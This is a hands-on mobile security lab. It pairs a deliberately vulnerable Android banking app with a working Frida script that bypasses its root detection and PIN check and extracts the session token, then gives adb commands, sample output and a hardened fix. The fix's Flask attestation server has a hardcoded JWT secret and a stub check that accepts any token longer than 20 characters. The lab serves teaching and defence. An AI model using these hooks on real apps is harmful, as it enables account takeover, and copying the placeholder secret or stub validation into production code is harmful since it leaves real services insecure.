Skip to main content

06 - Hands-On Lab: Dynamic Instrumentation & Security Remediation

[!IMPORTANT] Lab Objectives:

  1. Audit a vulnerable Android financial app containing flawed local root checks and client-side authorization logic.
  2. Develop a custom Frida JavaScript exploit script to bypass local checks and extract session tokens at runtime.
  3. Engineer a secure replacement using Android KeyStore, EncryptedSharedPreferences, Biometric Prompt, and server-side attestation.

1. Vulnerable Application Target Code

The target application package com.vulnerable.bankapp implements client-side security checks across two classes: SecurityUtils and AuthManager.

// Vulnerable Target: com/vulnerable/bankapp/SecurityUtils.java
package com.vulnerable.bankapp;

import java.io.File;

public class SecurityUtils {

// VULNERABILITY 1: Flawed, client-side root detection check
public static boolean isDeviceRooted() {
String[] paths = {
"/system/app/Superuser.apk",
"/sbin/su",
"/system/bin/su",
"/system/xbin/su",
"/data/local/xbin/su",
"/data/local/bin/su"
};
for (String path : paths) {
if (new File(path).exists()) {
return true;
}
}
return false;
}
}
// Vulnerable Target: com/vulnerable/bankapp/AuthManager.java
package com.vulnerable.bankapp;

import android.content.Context;
import android.content.SharedPreferences;

public class AuthManager {

// VULNERABILITY 2: Plaintext PIN validation & local secret storage
public static boolean verifyPinAndAuthorize(Context context, String inputPin) {
SharedPreferences prefs = context.getSharedPreferences("BankPrefs", Context.MODE_PRIVATE);
String storedPin = prefs.getString("user_pin", "1234");

if (inputPin != null && inputPin.equals(storedPin)) {
// Write session token in plaintext
prefs.edit().putString("session_token", "SUPER_SECRET_SESSION_TOKEN_9988").apply();
return true;
}
return false;
}
}

2. Exploit Script Development (Frida JavaScript)

We will write a comprehensive Frida script (exploit_lab.js) to intercept and override both methods at runtime.

// exploit_lab.js
Java.perform(function () {
console.log("==================================================");
console.log("[*] Starting Mobile Dynamic Instrumentation Lab...");
console.log("==================================================");

// STEP 1: Bypass Root Detection
try {
var SecurityUtils = Java.use("com.vulnerable.bankapp.SecurityUtils");
SecurityUtils.isDeviceRooted.implementation = function () {
console.log("[+] Intercepted SecurityUtils.isDeviceRooted()");
console.log("[+] Forcing return value -> false (Root Check Bypassed)");
return false;
};
} catch (err) {
console.log("[!] Failed to hook SecurityUtils: " + err.message);
}

// STEP 2: Bypass PIN Verification & Intercept Session Tokens
try {
var AuthManager = Java.use("com.vulnerable.bankapp.AuthManager");
AuthManager.verifyPinAndAuthorize.implementation = function (context, inputPin) {
console.log("[+] Intercepted AuthManager.verifyPinAndAuthorize()");
console.log("[+] Entered PIN Parameter: " + inputPin);
console.log("[+] Forcing return value -> true (Authentication Bypassed)");

// Execute original method to allow internal state mutation
var result = this.verifyPinAndAuthorize(context, "1234");

// Inspect SharedPreferences to extract created session token
var SharedPreferences = Java.use("android.content.SharedPreferences");
var prefs = context.getSharedPreferences("BankPrefs", 0);
var token = prefs.getString("session_token", "NOT_FOUND");
console.log("[!!!] Extracted Session Token from RAM: " + token);

return true;
};
} catch (err) {
console.log("[!] Failed to hook AuthManager: " + err.message);
}
});

3. Step-by-Step Execution Guide

Prerequisites

  • Android Studio Emulator running Android 11.0+ (x86_64 image without Google Play store for root access, or Genymotion).
  • ADB (Android Debug Bridge) installed and on system PATH.
  • Python 3.x and Frida tools installed on host machine (pip install frida-tools).

Execution Protocol

# Step 1: Download matching frida-server binary for x86_64 emulator
# https://github.com/frida/frida/releases

# Step 2: Push frida-server to Android emulator via ADB
adb push frida-server-16.x.x-android-x86_64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-x86_64"

# Step 3: Start frida-server with root privileges
adb shell "su -c '/data/local/tmp/frida-server-16.x.x-android-x86_64 &'"

# Step 4: Verify frida-server connection from host
frida-ps -U

# Step 5: Execute Frida exploit script against vulnerable target app
frida -U -f com.vulnerable.bankapp -l exploit_lab.js --no-pause

Lab Verification Output

Upon launching the application via Frida, the console displays:

==================================================
[*] Starting Mobile Dynamic Instrumentation Lab...
==================================================
[+] Intercepted SecurityUtils.isDeviceRooted()
[+] Forcing return value -> false (Root Check Bypassed)
[+] Intercepted AuthManager.verifyPinAndAuthorize()
[+] Entered PIN Parameter: 0000
[+] Forcing return value -> true (Authentication Bypassed)
[!!!] Extracted Session Token from RAM: SUPER_SECRET_SESSION_TOKEN_9988

4. Remediation (The Secure Fix)

To secure the application against runtime hooking, plaintext extraction, and rogue devices, we implement hardware key storage, biometric authentication, and server attestation.

Secure Client Implementation (Kotlin)

// SecureBankAppManager.kt
package com.secure.bankapp

import android.content.Context
import android.content.SharedPreferences
import androidx.biometric.BiometricPrompt
import androidx.core.content.ContextCompat
import androidx.fragment.app.FragmentActivity
import androidx.security.crypto.EncryptedSharedPreferences
import androidx.security.crypto.MasterKey

object SecureBankAppManager {

// 1. Hardware-backed secure EncryptedSharedPreferences initialization
private fun getSecurePreferences(context: Context): SharedPreferences {
val masterKey = MasterKey.Builder(context)
.setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
.build()

return EncryptedSharedPreferences.create(
context,
"secure_bank_prefs",
masterKey,
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
)
}

// 2. Hardware-enforced Biometric Authentication
fun authenticateAndExecute(
activity: FragmentActivity,
onSuccess: () -> Unit,
onFailure: (String) -> Unit
) {
val executor = ContextCompat.getMainExecutor(activity)
val biometricPrompt = BiometricPrompt(
activity,
executor,
object : BiometricPrompt.AuthenticationCallback() {
override fun onAuthenticationSucceeded(result: BiometricPrompt.AuthenticationResult) {
super.onAuthenticationSucceeded(result)
onSuccess()
}

override fun onAuthenticationError(errorCode: Int, errString: CharSequence) {
super.onAuthenticationError(errorCode, errString)
onFailure(errString.toString())
}
}
)

val promptInfo = BiometricPrompt.PromptInfo.Builder()
.setTitle("Authorize Transaction")
.setSubtitle("Confirm your identity using biometrics")
.setNegativeButtonText("Cancel")
.setAllowedAuthenticators(androidx.biometric.BiometricManager.Authenticators.BIOMETRIC_STRONG)
.build()

biometricPrompt.authenticate(promptInfo)
}

// 3. Save session token securely
fun saveEncryptedSessionToken(context: Context, token: String) {
val prefs = getSecurePreferences(context)
prefs.edit().putString("secure_session_token", token).apply()
}
}

Secure Server-Side Attestation Validator (Python)

# server_attestation.py
import time
import jwt
from flask import Flask, request, jsonify

app = Flask(__name__)
JWT_SECRET = "SERVER_HIGH_ENTROPY_SECRET_KEY_990011"

@app.route('/api/v1/auth/exchange-token', methods=['POST'])
def exchange_token():
"""
Validates mobile attestation payload before issuing backend session JWT.
"""
data = request.get_json()
play_integrity_token = data.get("integrity_token")
user_id = data.get("user_id")

if not play_integrity_token or not user_id:
return jsonify({"error": "Missing required parameters"}), 400

# Validate Play Integrity Token (In production, invoke Google API)
# Simulated check:
is_valid_device = verify_token_with_google(play_integrity_token)
if not is_valid_device:
return jsonify({"error": "Device integrity check failed. Access denied."}), 403

# Generate Secure Server-Side JWT Token (Expires in 15 mins)
payload = {
"sub": user_id,
"iat": int(time.time()),
"exp": int(time.time()) + 900,
"iss": "https://api.securebank.com"
}

signed_jwt = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
return jsonify({"session_token": signed_jwt}), 200

def verify_token_with_google(token: str) -> bool:
# Production: Decode token via Google API and verify MEETS_DEVICE_INTEGRITY
return len(token) > 20

if __name__ == '__main__':
app.run(port=5000)
Share this guide